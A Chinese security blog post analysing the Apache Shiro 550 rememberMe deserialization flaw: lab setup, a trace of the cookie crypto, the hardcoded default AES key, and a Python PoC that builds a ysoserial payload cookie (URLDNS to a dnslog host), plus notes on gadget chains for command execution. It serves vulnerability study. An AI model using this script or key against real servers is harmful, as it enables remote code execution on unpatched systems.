Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析
首發自安全客:Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,了解漏洞產生過程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie裏面rememberMe
的值,然後去進行Base64解密後,再使用aes密鑰解密後的數據,進行反序列化。
反過來思考一下,如果我們構造該值為一個cc鏈序列化後的值進行該密鑰aes加密後進行base64加密,那麼這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。
獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操作
0x02 漏洞環境搭建
漏洞環境://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
打開shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl組件進來,後面再去說為什麼shiro自帶了commons-collections:3.2.1
還要去手工配置一個commons-collections:4.0
。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這裡需要將jstl設置為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑點
Shiro的編譯太痛苦了,各種坑,下面來排一下坑。
配置maven\conf\toolchains.xml
,這裡需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下運行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="//maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="//www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="//maven.apache.org/TOOLCHAINS/1.1.0 //maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
這些都完成後進行編譯。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
這裡還是報錯了。
後面編譯的時候,切換成了maven3.1.1的版本。然後就可以編譯成功了。
但是後面又發現部署的時候訪問不到,編譯肯定又出了問題。
後面把這兩個裏面的<scope>
標籤給注釋掉,然後就可以了。
把pom.xml配置貼一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ //www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="//maven.apache.org/POM/4.0.0" xmlns:xsi="//www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="//maven.apache.org/POM/4.0.0 //maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這裡需要將jstl設置為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
經過2天的排坑,終於把這個坑給解決掉,這裡必須貼幾張照片慶祝慶祝。
輸入賬號密碼,勾選Remerber me選項。進行抓包
下面就可以來分析該漏洞了。
0x03 漏洞分析
加密
漏洞產生點在CookieRememberMeManager
該位置,來看到rememberSerializedIdentity
方法。
該方法的作用為使用Base64對指定的序列化位元組數組進行編碼,並將Base64編碼的字符串設置為cookie值。
那麼我們就去查看一下該方法在什麼地方被調用。
在這可以看到該類繼承的AbstractRememberMeManager
類調用了該方法。跟進進去查看
發現這個方法被rememberIdentity
方法給調用了,同樣方式繼續跟進。
在這裡會發現rememberIdentity
方法會被onSuccessfulLogin
方法給調用,跟蹤到這一步,就看到了onSuccessfulLogin
登錄成功的方法。
當登錄成功後會調用AbstractRememberMeManager.onSuccessfulLogin
方法,該方法主要實現了生成加密的RememberMe Cookie
,然後將RememberMe Cookie
設置為用戶的Cookie值。在前面我們分析的rememberSerializedIdentity
方法裏面去實現了。可以來看一下這段代碼。
回到onSuccessfulLogin
這個地方,打個斷點,然後web登錄頁面輸入root/secret 口令進行提交,再回到IDEA中查看。找到登錄成功方法後,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。
這裡看到調用了isRememberMe
很顯而易見得發現這個就是一個判斷用戶是否選擇了Remember Me
選項。
如果選擇Remember Me
功能的話返回true,如果不選擇該選項則是調用log.debug方法在控制台輸出一段字符。
這裡如果為true的話就會調用rememberIdentity
方法並且傳入三個參數。F7跟進該方法。
前面說過該方法會去生成一個PrincipalCollection
對象,裏面包含登錄信息。F7進行跟進rememberIdentity
方法。
查看convertPrincipalsToBytes
具體的實現與作用。
跟進該方法查看具體實現。
看到這裡其實已經很清晰了,進行了一個序列化,然後返回序列化後的Byte數組。
再來看到下一段代碼,這裡如果getCipherService
方法不為空的話,就會去執行下一段代碼。getCipherService
方法是獲取加密模式。
還是繼續跟進查看。
查看調用,會發現在構造方法裏面對該值進行定義。
完成這一步後,就來到了這裡。
調用encrypt
方法,對序列化後的數據進行處理。繼續跟進。
這裡調用cipherService.encrypt
方法並且傳入序列化數據,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
從名字上來看是獲取密鑰的方法,查看一下,是怎麼獲取密鑰的。
查看調用的時候,發現setCipherKey
方法在構造方法裏面被調用了。
查看DEFAULT_CIPHER_KEY_BYTES
值會發現裏面定義了一串密鑰
而這個密鑰是定義死的。
返回剛剛的加密的地方。
這個地方選擇跟進,查看具體實現。
查看到這裡發現會傳入前面序列化的數組和key值,最後再去調用他的重載方法並且傳入序列化數組、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,進行跟進。
查看getDefaultSecureRandom
方法實現。
返回generateInitializationVector
方法繼續查看。這個new了一個byte數組長度為16
最後得到這個ivBytes值進行返回。
這裡執行完成後就拿到了ivBytes的值了,這裡再回到加密方法的地方查看具體加密的實現。
這裡調用crypt方法進行獲取到加密後的數據,而這個output是一個byte數組,大小是加密後數據的長度加上iv這個值的長度。
iv 的小tips
- 某些加密算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16位元組,那麼對於一段任意的數據,加密前需要對最後一個塊填充到16 位元組,解密後需要刪除掉填充的數據。
- AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的區別就在於數據填充方式,PKCS7Padding是缺幾個位元組就補幾個位元組的0,而PKCS5Padding是缺幾個位元組就補充幾個位元組的幾,好比缺6個位元組,就補充6個位元組
不了解加密算法的可以看Java安全之安全加密算法
在執行完成後序列化的數據已經被進行了AES加密,返回一個byte數組。
執行完成後,來到這一步,然後進行跟進。
到了這裡其實就沒啥好說的了。後面的步驟就是進行base64加密後設置為用戶的Cookie的rememberMe字段中。
解密
由於我們並不知道哪個方法裏面去實現這麼一個功能。但是我們前面分析加密的時候,調用了AbstractRememberMeManager.encrypt
進行加密,該類中也有對應的解密操作。那麼在這裡就可以來查看該方法具體會在哪裡被調用到,就可以追溯到上層去,然後進行下斷點。
查看 getRememberedPrincipals
方法在此處下斷點
跟蹤
返回getRememberedPrincipals
方法。
在下面調用了convertBytesToPrincipals
方法,進行跟蹤。
查看decrypt
方法具體實現。
和前面的加密步驟類似,這裡不做詳細講解。
生成iv值,然後傳入到他的重載方法裏面。
到了這裡執行完後,就進行了AES的解密完成。
還是回到這一步。
這裡返回了deserialize
方法的返回值,並且傳入AES加密後的數據。
進行跟蹤該方法。
繼續跟蹤。
到了這步,就會對我們傳入進來的AES解密後的數據進行調用readObject
方法進行反序列化操作。
0x04 漏洞攻擊
漏洞探測
現在已經知道了是因為獲取rememberMe值,然後進行解密後再進行反序列化操作。
那麼在這裡如果拿到了密鑰就可以偽造加密流程。
網上找的一個加密的腳本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog ://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('//u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
獲取到值後加密後的payload後可以在burp上面進行手工發送測試一下。
發送完成後,就可以看到DNSLOG平台上面回顯了。
當使用URLDNS鏈的打過去,在DNSLOG平台有回顯的時候,就說明這個地方存在反序列化漏洞。
但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。
漏洞利用
前面我們手動給shio配上cc4的組件,而shiro中自帶的是cc3.2.1版本的組件,為什麼要手工去配置呢?
其實shiro中重寫了ObjectInputStream
類的resolveClass
函數,ObjectInputStream
的resolveClass
方法用的是Class.forName
類獲取當前描述器所指代的類的Class對象。而重寫後的resolveClass
方法,採用的是ClassUtils.forName
。查看該方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在傳參的地方如果傳入一個Transform
數組的參數,會報錯。
後者並不支持傳入數組類型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class
那麼在這裡可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於Transform
數組。具體的可以看前面我的分析利用鏈文章。
除了這兩個其實在部署的時候,可以發現組件當中自帶了一個CommonsBeanutils的組件,這個組件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。
那麼除了這些方式就沒有了嘛?假設沒有cc4的組件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在文章中已經給出了解決方案。需要重新去特殊構造一下利用鏈。
參考文章
//www.anquanke.com/post/id/192619#h2-4
//payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
//zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 結尾
在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的解決。